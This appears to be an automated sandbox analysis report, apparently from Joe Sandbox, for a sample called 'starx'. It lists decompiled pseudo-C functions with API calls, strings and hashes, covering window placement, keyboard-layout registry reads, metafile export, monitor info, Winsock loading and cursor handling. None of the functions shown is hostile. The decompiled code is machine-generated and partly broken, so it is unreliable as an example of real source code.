Opcode ID: 9396a9c61add0bf123daeb189e885a49626b156466044cad7730af4d1e666656
Instruction ID: 68a47b146dd17c2bb5fcbbee957558dfe927856c8d04eec13a01542b441cd55f
Opcode Fuzzy Hash: 9396a9c61add0bf123daeb189e885a49626b156466044cad7730af4d1e666656
Instruction Fuzzy Hash: 5261F470A142449BEB50EF79DCC16AA7BF5BF09308F08447AE944E7396E738D805C758

Uniqueness

Uniqueness Score: -1.00%

Function 004448B8, Relevance: 10.7, APIs: 7, Instructions: 156
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E004448B8(intOrPtr* __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _v8;
				void _v12;
				intOrPtr _v16;
				int _v24;
				int _v28;
				intOrPtr _v32;
				char _v36;
				intOrPtr* _t80;
				intOrPtr _t91;
				void* _t119;
				intOrPtr _t136;
				intOrPtr _t145;
				void* _t148;

				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t119 = __ecx;
				_v8 = __eax;
				_t145 =  *0x47e904; // 0x47fbbc
				 *((char*)(_v8 + 0x210)) = 1;
				_push(_t148);
				_push(0x444a91);
				_push( *[fs:eax]);
				 *[fs:eax] = _t148 + 0xffffffe0;
				E0043CAEC(_v8, __ecx, __ecx, _t145);
				_v16 = _v16 + 4;
				E0043DD14(_v8,  &_v28);
				if(E0045A404() <  *(_v8 + 0x4c) + _v24) {
					_v24 = E0045A404() -  *(_v8 + 0x4c);
				}
				if(E0045A410() <  *(_v8 + 0x48) + _v28) {
					_v28 = E0045A410() -  *(_v8 + 0x48);
				}
				if(E0045A3F8() > _v28) {
					_v28 = E0045A3F8();
				}
				if(E0045A3EC() > _v16) {
					_v16 = E0045A3EC();
				}
				SetWindowPos(E004432A4(_v8), 0xffffffff, _v28, _v24,  *(_v8 + 0x48),  *(_v8 + 0x4c), 0x10);
				if(GetTickCount() -  *((intOrPtr*)(_v8 + 0x214)) > 0xfa && E00404280(_t119) < 0x64 &&  *0x467b40 != 0) {
					SystemParametersInfoA(0x1016, 0,  &_v12, 0);
					if(_v12 != 0) {
						SystemParametersInfoA(0x1018, 0,  &_v12, 0);
						if(_v12 == 0) {
							E00447B50( &_v36);
							if(_v32 <= _v24) {
							}
						}
						 *0x467b40(E004432A4(_v8), 0x64,  *0x00467C48 | 0x00040000);
					}
				}
				_t80 =  *0x47e750; // 0x47fbb8
				E004409D8(_v8,  *((intOrPtr*)( *_t80 + 0x30)));
				ShowWindow(E004432A4(_v8), 4);
				 *((intOrPtr*)( *_v8 + 0x7c))();
				_pop(_t136);
				 *[fs:eax] = _t136;
				_push(0x444a98);
				 *((intOrPtr*)(_v8 + 0x214)) = GetTickCount();
				_t91 = _v8;
				 *((char*)(_t91 + 0x210)) = 0;
				return _t91;
			}

0x004448c6
0x004448c7
0x004448c8
0x004448c9
0x004448ca
0x004448cc
0x004448cf
0x004448d8
0x004448e1
0x004448e2
0x004448e7
0x004448ea
0x004448f2
0x004448f7
0x00444901
0x00444918
0x00444927
0x00444927
0x0044493c
0x0044494b
0x0044494b
0x00444958
0x00444961
0x00444961
0x0044496e
0x00444977
0x00444977
0x0044499d
0x004449b5
0x004449dd
0x004449e6
0x004449f5
0x004449fe
0x00444a0c
0x00444a17
0x00444a17
0x00444a17
0x00444a3b
0x00444a3b
0x004449e6
0x00444a41
0x00444a4e
0x00444a5e
0x00444a68
0x00444a6d
0x00444a70
0x00444a73
0x00444a80
0x00444a86
0x00444a89
0x00444a90

APIs

SetWindowPos.USER32(00000000,000000FF,?,?,?,?,00000010,00000000,00444A91), ref: 0044499D
GetTickCount.KERNEL32 ref: 004449A2
SystemParametersInfoA.USER32(00001016,00000000,?,00000000), ref: 004449DD
SystemParametersInfoA.USER32(00001018,00000000,00000000,00000000), ref: 004449F5
AnimateWindow.USER32(00000000,00000064,00000001), ref: 00444A3B
ShowWindow.USER32(00000000,00000004,00000000,000000FF,?,?,?,?,00000010,00000000,00444A91), ref: 00444A5E

Part of subcall function 00447B50: GetCursorPos.USER32(?,?,00444A11,00001018,00000000,00000000,00000000,00001016,00000000,?,00000000,00000000,000000FF,?,?,?), ref: 00447B54

GetTickCount.KERNEL32 ref: 00444A78

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Window$CountInfoParametersSystemTick$AnimateCursorShow
String ID:
API String ID: 3024527889-0
Opcode ID: 73517c16d37ece5e899e965beb3a12b24601604c02e5baefc9c6cac73572ca93
Instruction ID: 896a830713037174392c736778aea0072a1a022cbf43d087fb7733a65bb9fc75
Opcode Fuzzy Hash: 73517c16d37ece5e899e965beb3a12b24601604c02e5baefc9c6cac73572ca93
Instruction Fuzzy Hash: 5D514E74A40109DFEB10DF99C886B9EB7F4EF44308F2045A6E500EB256D778AE40DB59

Uniqueness

Uniqueness Score: -1.00%

Function 0045A650, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 125
registryCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E0045A650(intOrPtr __eax, void* __ebx, void* __fp0) {
				intOrPtr _v8;
				int _v12;
				void* _v16;
				char _v20;
				void* _v24;
				struct HKL__* _v280;
				char _v536;
				char _v600;
				char _v604;
				char _v608;
				char _v612;
				void* _t60;
				intOrPtr _t106;
				intOrPtr _t111;
				void* _t117;
				void* _t118;
				intOrPtr _t119;
				void* _t129;

				_t129 = __fp0;
				_t117 = _t118;
				_t119 = _t118 + 0xfffffda0;
				_v612 = 0;
				_v8 = __eax;
				_push(_t117);
				_push(0x45a7fb);
				_push( *[fs:eax]);
				 *[fs:eax] = _t119;
				if( *((intOrPtr*)(_v8 + 0x34)) != 0) {
					L11:
					_pop(_t106);
					 *[fs:eax] = _t106;
					_push(0x45a802);
					return E00403FC0( &_v612);
				} else {
					 *((intOrPtr*)(_v8 + 0x34)) = E00403240(1);
					E00403FC0(_v8 + 0x38);
					_t60 = GetKeyboardLayoutList(0x40,  &_v280) - 1;
					if(_t60 < 0) {
						L10:
						_t41 = _v8 + 0x34; // 0x42acc4
						 *((char*)( *_t41 + 0x1d)) = 0;
						E00415828( *_t41, 1);
						goto L11;
					} else {
						_v20 = _t60 + 1;
						_v24 =  &_v280;
						do {
							if(E00447FC0( *_v24) == 0) {
								goto L9;
							} else {
								_v608 =  *_v24;
								_v604 = 0;
								if(RegOpenKeyExA(0x80000002, E00408CD8( &_v600,  &_v608, "System\\CurrentControlSet\\Control\\Keyboard Layouts\\%.8x", _t129, 0), 0, 0x20019,  &_v16) != 0) {
									goto L9;
								} else {
									_push(_t117);
									_push(0x45a7b7);
									_push( *[fs:eax]);
									 *[fs:eax] = _t119;
									_v12 = 0x100;
									if(RegQueryValueExA(_v16, "layout text", 0, 0,  &_v536,  &_v12) == 0) {
										E00404230( &_v612, 0x100,  &_v536);
										_t28 = _v8 + 0x34; // 0x42acc4
										 *((intOrPtr*)( *((intOrPtr*)( *_t28)) + 0x3c))();
										_t32 = _v8 + 0x3c; // 0x43be00
										if( *_v24 ==  *_t32) {
											E00404230(_v8 + 0x38, 0x100,  &_v536);
										}
									}
									_pop(_t111);
									 *[fs:eax] = _t111;
									_push(0x45a7be);
									return RegCloseKey(_v16);
								}
							}
							goto L12;
							L9:
							_v24 = _v24 + 4;
							_t38 =  &_v20;
							 *_t38 = _v20 - 1;
						} while ( *_t38 != 0);
						goto L10;
					}
				}
				L12:
			}

0x0045a650
0x0045a651
0x0045a653
0x0045a65c
0x0045a662
0x0045a667
0x0045a668
0x0045a66d
0x0045a670
0x0045a67a
0x0045a7dc
0x0045a7e4
0x0045a7e7
0x0045a7ea
0x0045a7fa
0x0045a680
0x0045a68f
0x0045a698
0x0045a6ab
0x0045a6ae
0x0045a7cb
0x0045a7ce
0x0045a7d1
0x0045a7d7
0x00000000
0x0045a6b4
0x0045a6b5
0x0045a6be
0x0045a6c1
0x0045a6cd
0x00000000
0x0045a6d3
0x0045a6e5
0x0045a6eb
0x0045a715
0x00000000
0x0045a71b
0x0045a71d
0x0045a71e
0x0045a723
0x0045a726
0x0045a729
0x0045a74f
0x0045a762
0x0045a775
0x0045a77a
0x0045a785
0x0045a788
0x0045a79b
0x0045a79b
0x0045a788
0x0045a7a2
0x0045a7a5
0x0045a7a8
0x0045a7b6
0x0045a7b6
0x0045a715
0x00000000
0x0045a7be
0x0045a7be
0x0045a7c2
0x0045a7c2
0x0045a7c2
0x00000000
0x0045a6c1
0x0045a6ae
0x00000000

APIs

GetKeyboardLayoutList.USER32(00000040,?,00000000,0045A7FB,?,02331320,?,0045A85D,00000000,00429404,0043F073,00000000,0043F0C8,?,00429404,00429404), ref: 0045A6A6
RegOpenKeyExA.ADVAPI32(80000002,00000000), ref: 0045A70E
RegQueryValueExA.ADVAPI32(?,layout text,00000000,00000000,?,00000100,00000000,0045A7B7,?,80000002,00000000), ref: 0045A748
RegCloseKey.ADVAPI32(?,0045A7BE,00000000,?,00000100,00000000,0045A7B7,?,80000002,00000000), ref: 0045A7B1

Strings

System\CurrentControlSet\Control\Keyboard Layouts\%.8x, xrefs: 0045A6F8
layout text, xrefs: 0045A73F

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: CloseKeyboardLayoutListOpenQueryValue
String ID: System\CurrentControlSet\Control\Keyboard Layouts\%.8x$layout text
API String ID: 1703357764-2652665750
Opcode ID: 75d4401bb44ecbdec0b48dc35eacd1414ae2b655a99f516ccad7abcc932cc80c
Instruction ID: 1e9afbbc12c523c6b330c81cfd91013be791b01edc3bd6dfa3f1b5092edd1f74
Opcode Fuzzy Hash: 75d4401bb44ecbdec0b48dc35eacd1414ae2b655a99f516ccad7abcc932cc80c
Instruction Fuzzy Hash: EB416A74A00209AFDB10DF55C981B9EB7F8EB48305F5040A6E904E7392E778EE54CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00420B78, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E00420B78(void* __eax, void* __edx) {
				BYTE* _v8;
				int _v12;
				struct HDC__* _v16;
				short _v18;
				signed int _v24;
				short _v26;
				short _v28;
				char _v38;
				void* __ebx;
				void* __ebp;
				signed int _t35;
				struct HDC__* _t43;
				void* _t65;
				intOrPtr _t67;
				intOrPtr _t77;
				void* _t80;
				void* _t83;
				void* _t85;
				intOrPtr _t86;

				_t83 = _t85;
				_t86 = _t85 + 0xffffffdc;
				_t80 = __edx;
				_t65 = __eax;
				if( *((intOrPtr*)(__eax + 0x28)) == 0) {
					return __eax;
				} else {
					E00402C7C( &_v38, 0x16);
					_t67 =  *((intOrPtr*)(_t65 + 0x28));
					_v38 = 0x9ac6cdd7;
					_t35 =  *((intOrPtr*)(_t67 + 0x18));
					if(_t35 != 0) {
						_v24 = _t35;
					} else {
						_v24 = 0x60;
					}
					_v28 = MulDiv( *(_t67 + 0xc), _v24 & 0x0000ffff, 0x9ec);
					_v26 = MulDiv( *(_t67 + 0x10), _v24 & 0x0000ffff, 0x9ec);
					_t43 = E0041EB98( &_v38);
					_v18 = _t43;
					_push(0);
					L004065DC();
					_v16 = _t43;
					_push(_t83);
					_push(0x420cb3);
					_push( *[fs:eax]);
					 *[fs:eax] = _t86;
					_v12 = GetWinMetaFileBits( *(_t67 + 8), 0, 0, 8, _v16);
					_v8 = E004026D4(_v12);
					_push(_t83);
					_push(0x420c93);
					_push( *[fs:eax]);
					 *[fs:eax] = _t86;
					if(GetWinMetaFileBits( *(_t67 + 8), _v12, _v8, 8, _v16) < _v12) {
						E0041DDA8(_t67);
					}
					E00415B3C(_t80, 0x16,  &_v38);
					E00415B3C(_t80, _v12, _v8);
					_pop(_t77);
					 *[fs:eax] = _t77;
					_push(0x420c9a);
					return E004026F4(_v8);
				}
			}

0x00420b79
0x00420b7b
0x00420b80
0x00420b82
0x00420b88
0x00420cbf
0x00420b8e
0x00420b98
0x00420b9d
0x00420ba0
0x00420ba7
0x00420bae
0x00420bb8
0x00420bb0
0x00420bb0
0x00420bb0
0x00420bcf
0x00420be6
0x00420bed
0x00420bf2
0x00420bf6
0x00420bf8
0x00420bfd
0x00420c02
0x00420c03
0x00420c08
0x00420c0b
0x00420c21
0x00420c2c
0x00420c31
0x00420c32
0x00420c37
0x00420c3a
0x00420c57
0x00420c59
0x00420c59
0x00420c68
0x00420c75
0x00420c7c
0x00420c7f
0x00420c82
0x00420c92
0x00420c92

APIs

MulDiv.KERNEL32(?,?,000009EC), ref: 00420BCA
MulDiv.KERNEL32(?,?,000009EC), ref: 00420BE1
739EAC50.USER32(00000000,?,?,000009EC,?,?,000009EC), ref: 00420BF8
GetWinMetaFileBits.GDI32(?,00000000,00000000,00000008,?,00000000,00420CB3,?,00000000,?,?,000009EC,?,?,000009EC), ref: 00420C1C
GetWinMetaFileBits.GDI32(?,?,?,00000008,?,00000000,00420C93,?,?,00000000,00000000,00000008,?,00000000,00420CB3), ref: 00420C4F

Strings

`, xrefs: 00420BB0

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: BitsFileMeta
String ID: `
API String ID: 858000408-2679148245
Opcode ID: 216e9fe9cb4dbf2352910ed0f40ccdb0b8ae4216a8671a8aa0e6c4105afef46b
Instruction ID: 18619e7509a044bfa16c78b5cd1190d5031fb235542f63dfb305404e8178c401
Opcode Fuzzy Hash: 216e9fe9cb4dbf2352910ed0f40ccdb0b8ae4216a8671a8aa0e6c4105afef46b
Instruction Fuzzy Hash: C1318975A00308ABDB04DFE5D881AEEB7F8EF09704F514466F904FB281D639AE40D769

Uniqueness

Uniqueness Score: -1.00%

Function 00424B14, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68
stringCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E00424B14(intOrPtr _a4, intOrPtr* _a8) {
				void _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t23;
				int _t24;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t29;
				intOrPtr* _t31;

				_t29 = _a8;
				_t27 = _a4;
				if( *0x47f92d != 0) {
					_t24 = 0;
					if(_t27 == 0x12340042 && _t29 != 0 &&  *_t29 >= 0x28 && SystemParametersInfoA(0x30, 0,  &_v20, 0) != 0) {
						 *((intOrPtr*)(_t29 + 4)) = 0;
						 *((intOrPtr*)(_t29 + 8)) = 0;
						 *((intOrPtr*)(_t29 + 0xc)) = GetSystemMetrics(0);
						 *((intOrPtr*)(_t29 + 0x10)) = GetSystemMetrics(1);
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t31 = _t29;
						 *(_t31 + 0x24) = 1;
						if( *_t31 >= 0x4c) {
							_push("DISPLAY");
							_push(_t31 + 0x28);
							L00406224();
						}
						_t24 = 1;
					}
				} else {
					_t26 =  *0x47f914; // 0x424b14
					 *0x47f914 = E00424710(5, _t23, _t26, _t27, _t29);
					_t24 =  *0x47f914(_t27, _t29);
				}
				return _t24;
			}

0x00424b1d
0x00424b20
0x00424b2a
0x00424b4f
0x00424b57
0x00424b77
0x00424b7c
0x00424b87
0x00424b92
0x00424b9c
0x00424b9d
0x00424b9e
0x00424b9f
0x00424ba0
0x00424ba1
0x00424bab
0x00424bad
0x00424bb5
0x00424bb6
0x00424bb6
0x00424bbb
0x00424bbb
0x00424b2c
0x00424b31
0x00424b3e
0x00424b4b
0x00424b4b
0x00424bc5

APIs

SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 00424B6C
GetSystemMetrics.USER32 ref: 00424B81
GetSystemMetrics.USER32 ref: 00424B8C
lstrcpy.KERNEL32(?,DISPLAY), ref: 00424BB6

Part of subcall function 00424710: GetProcAddress.KERNEL32(759B0000,00000000), ref: 00424790

Strings

GetMonitorInfoA, xrefs: 00424B2C
DISPLAY, xrefs: 00424BAD

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: System$Metrics$AddressInfoParametersProclstrcpy
String ID: DISPLAY$GetMonitorInfoA
API String ID: 2545840971-1370492664
Opcode ID: 76bc0e1552101a33964e6ef787bf9ff23aa240c795d40d7b12c6afb50e821559
Instruction ID: 81e70037460220e44786da776151dc1a0e6407751ba73e1da98af8617f149a61
Opcode Fuzzy Hash: 76bc0e1552101a33964e6ef787bf9ff23aa240c795d40d7b12c6afb50e821559
Instruction Fuzzy Hash: B311E4B1701324AFD7209F65AC44BA7BBE8EB85314F40453AED0997250D378F944CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 004211FC, Relevance: 10.6, APIs: 7, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E004211FC(int __eax, void* __ecx, intOrPtr __edx) {
				intOrPtr _v8;
				int _v12;
				struct HDC__* _v16;
				void* _v20;
				struct tagRGBQUAD _v1044;
				int _t16;
				struct HDC__* _t18;
				int _t31;
				int _t34;
				intOrPtr _t41;
				void* _t43;
				void* _t46;
				void* _t48;
				intOrPtr _t49;

				_t16 = __eax;
				_t46 = _t48;
				_t49 = _t48 + 0xfffffbf0;
				_v8 = __edx;
				_t43 = __eax;
				if(__eax == 0 ||  *((short*)(__ecx + 0x26)) > 8) {
					L4:
					return _t16;
				} else {
					_t16 = E0041E5E4(_v8, 0xff,  &_v1044);
					_t34 = _t16;
					if(_t34 == 0) {
						goto L4;
					} else {
						_push(0);
						L004065DC();
						_v12 = _t16;
						_t18 = _v12;
						_push(_t18);
						L0040626C();
						_v16 = _t18;
						_v20 = SelectObject(_v16, _t43);
						_push(_t46);
						_push(0x4212ab);
						_push( *[fs:eax]);
						 *[fs:eax] = _t49;
						SetDIBColorTable(_v16, 0, _t34,  &_v1044);
						_pop(_t41);
						 *[fs:eax] = _t41;
						_push(0x4212b2);
						SelectObject(_v16, _v20);
						DeleteDC(_v16);
						_t31 = _v12;
						_push(_t31);
						_push(0);
						L0040681C();
						return _t31;
					}
				}
			}

0x004211fc
0x004211fd
0x004211ff
0x00421207
0x0042120a
0x0042120e
0x004212b2
0x004212b7
0x0042121f
0x0042122d
0x00421232
0x00421236
0x00000000
0x00421238
0x00421238
0x0042123a
0x0042123f
0x00421242
0x00421245
0x00421246
0x0042124b
0x00421258
0x0042125d
0x0042125e
0x00421263
0x00421266
0x00421277
0x0042127e
0x00421281
0x00421284
0x00421291
0x0042129a
0x0042129f
0x004212a2
0x004212a3
0x004212a5
0x004212aa
0x004212aa
0x00421236

APIs

Part of subcall function 0041E5E4: GetObjectA.GDI32(?,00000004), ref: 0041E5FB
Part of subcall function 0041E5E4: 739EAEA0.GDI32(?,00000000,?,?,?,00000004,?,000000FF,?,?,?,00421232), ref: 0041E61E

739EAC50.USER32(00000000), ref: 0042123A
739EA590.GDI32(?,00000000), ref: 00421246
SelectObject.GDI32(?), ref: 00421253
SetDIBColorTable.GDI32(?,00000000,00000000,?,00000000,004212AB,?,?,?,?,00000000), ref: 00421277
SelectObject.GDI32(?,?), ref: 00421291
DeleteDC.GDI32(?), ref: 0042129A
739EB380.USER32(00000000,?,?,?,?,004212B2,?,00000000,004212AB,?,?,?,?,00000000), ref: 004212A5

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Object$Select$A590B380ColorDeleteTable
String ID:
API String ID: 980243606-0
Opcode ID: b48fa47e53898e68f11e56a7fe303cb38b120bf6c0db952bec4baf7ac0567e7b
Instruction ID: e2cf083104ccc77c2f8299206cfbe1e55660558e4c5257418a18ff48c8aca832
Opcode Fuzzy Hash: b48fa47e53898e68f11e56a7fe303cb38b120bf6c0db952bec4baf7ac0567e7b
Instruction Fuzzy Hash: 6E115471E00618AFDB10EBE5DC51FAEB3BCEB08704F4145AAB904E7291D6799E508B68

Uniqueness

Uniqueness Score: -1.00%

Function 0045F094, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 63
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 26%

			E0045F094(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				struct HINSTANCE__* _t19;
				intOrPtr _t26;
				void* _t30;
				intOrPtr _t42;
				void* _t51;

				_push(__ebx);
				_v8 = 0;
				_v12 = 0;
				_push(_t51);
				_push(0x45f161);
				_push( *[fs:eax]);
				 *[fs:eax] = _t51 + 0xfffffff0;
				if( *0x467ea4 == 0) {
					 *0x467ea4 = LoadLibraryA("WS2_32.DLL");
					if( *0x467ea4 == 0) {
						_push(GetLastError());
						_push( &_v8);
						_t26 =  *0x47e530; // 0x45df30
						E00405B24(_t26,  &_v12);
						_push(_v12);
						_v20 = "WS2_32.DLL";
						_v16 = 0xb;
						_pop(_t30);
						E00408D58(_t30, 0,  &_v20);
						E0045E138(__ebx, _v8, 1, __edi, __esi);
						E004039FC();
					}
					_t19 =  *0x467ea4; // 0x0
					 *0x47fda4 = GetProcAddress(_t19, "WSAStartup");
					 *0x47fda4(_a4, _a8);
				}
				_pop(_t42);
				 *[fs:eax] = _t42;
				_push(0x45f168);
				return E00403FE4( &_v12, 2);
			}

0x0045f09a
0x0045f09d
0x0045f0a0
0x0045f0a5
0x0045f0a6
0x0045f0ab
0x0045f0ae
0x0045f0b8
0x0045f0c8
0x0045f0d4
0x0045f0db
0x0045f0df
0x0045f0e3
0x0045f0e8
0x0045f0f0
0x0045f0f6
0x0045f0f9
0x0045f102
0x0045f103
0x0045f112
0x0045f117
0x0045f117
0x0045f121
0x0045f12c
0x0045f13a
0x0045f140
0x0045f148
0x0045f14b
0x0045f14e
0x0045f160

APIs

LoadLibraryA.KERNEL32(WS2_32.DLL,00000000,0045F161), ref: 0045F0C3
GetLastError.KERNEL32(WS2_32.DLL,00000000,0045F161), ref: 0045F0D6

Part of subcall function 00405B24: LoadStringA.USER32 ref: 00405B55

GetProcAddress.KERNEL32(00000000,WSAStartup), ref: 0045F127

Strings

WS2_32.DLL, xrefs: 0045F0F1
WSAStartup, xrefs: 0045F11C
WS2_32.DLL, xrefs: 0045F0BE

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Load$AddressErrorLastLibraryProcString
String ID: WS2_32.DLL$WS2_32.DLL$WSAStartup
API String ID: 607613470-1314211545
Opcode ID: daf665cd872fe65365f85e80374f5e6d290be9a6763e23f909c34c70b9d68327
Instruction ID: e5d10cf61fb533980b36fae4958f09157d35e1544b839631ec37614b850c9ae6
Opcode Fuzzy Hash: daf665cd872fe65365f85e80374f5e6d290be9a6763e23f909c34c70b9d68327
Instruction Fuzzy Hash: D1218171904604EFCB00EFA5DC45A9BB7E8AB09319F5144BBF805E7692EB785E08CB19

Uniqueness

Uniqueness Score: -1.00%

Function 0045A900, Relevance: 10.6, APIs: 7, Instructions: 57
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E0045A900(long __eax, void* __ecx, short __edx) {
				struct tagPOINT _v24;
				long _t7;
				long _t12;
				long _t19;
				void* _t21;
				struct HWND__* _t27;
				short _t28;
				void* _t30;
				struct tagPOINT* _t31;

				_t21 = __ecx;
				_t7 = __eax;
				_t31 = _t30 + 0xfffffff8;
				_t28 = __edx;
				_t19 = __eax;
				if(__edx ==  *((intOrPtr*)(__eax + 0x44))) {
					L6:
					 *((intOrPtr*)(_t19 + 0x48)) =  *((intOrPtr*)(_t19 + 0x48)) + 1;
				} else {
					 *((short*)(__eax + 0x44)) = __edx;
					if(__edx != 0) {
						L5:
						_t7 = SetCursor(E0045A8D8(_t19, _t28));
						goto L6;
					} else {
						GetCursorPos(_t31);
						_push(_v24.y);
						_t27 = WindowFromPoint(_v24);
						if(_t27 == 0) {
							goto L5;
						} else {
							_t12 = GetWindowThreadProcessId(_t27, 0);
							if(_t12 != GetCurrentThreadId()) {
								goto L5;
							} else {
								_t7 = SendMessageA(_t27, 0x20, _t27, E00406964(SendMessageA(_t27, 0x84, 0, E004069E8(_t31, _t21)), 0x200));
							}
						}
					}
				}
				return _t7;
			}

0x0045a900
0x0045a900
0x0045a904
0x0045a907
0x0045a909
0x0045a90f
0x0045a984
0x0045a984
0x0045a911
0x0045a911
0x0045a918
0x0045a974
0x0045a97f
0x00000000
0x0045a91a
0x0045a91b
0x0045a920
0x0045a92d
0x0045a931
0x00000000
0x0045a933
0x0045a936
0x0045a944
0x00000000
0x0045a946
0x0045a96d
0x0045a96d
0x0045a944
0x0045a931
0x0045a918
0x0045a98d

APIs

GetCursorPos.USER32 ref: 0045A91B
WindowFromPoint.USER32(?,?), ref: 0045A928
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0045A936
GetCurrentThreadId.KERNEL32 ref: 0045A93D
SendMessageA.USER32 ref: 0045A956
SendMessageA.USER32 ref: 0045A96D
SetCursor.USER32(00000000), ref: 0045A97F

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: CursorMessageSendThreadWindow$CurrentFromPointProcess
String ID:
API String ID: 1770779139-0
Opcode ID: 37b00a9fdd892cf3313044716a6068559063bc501128bb9f66bc17a79f3e0c43
Instruction ID: d4d828e459515ed2f23b2fb6ebd32d8ee941159e6439b64db66b38a9dd2b6cd8
Opcode Fuzzy Hash: 37b00a9fdd892cf3313044716a6068559063bc501128bb9f66bc17a79f3e0c43
Instruction Fuzzy Hash: E101889224131065DA2077760C86F7F2598DFC1B5DF12463FBA05B61C3E93E8C25936E

Uniqueness

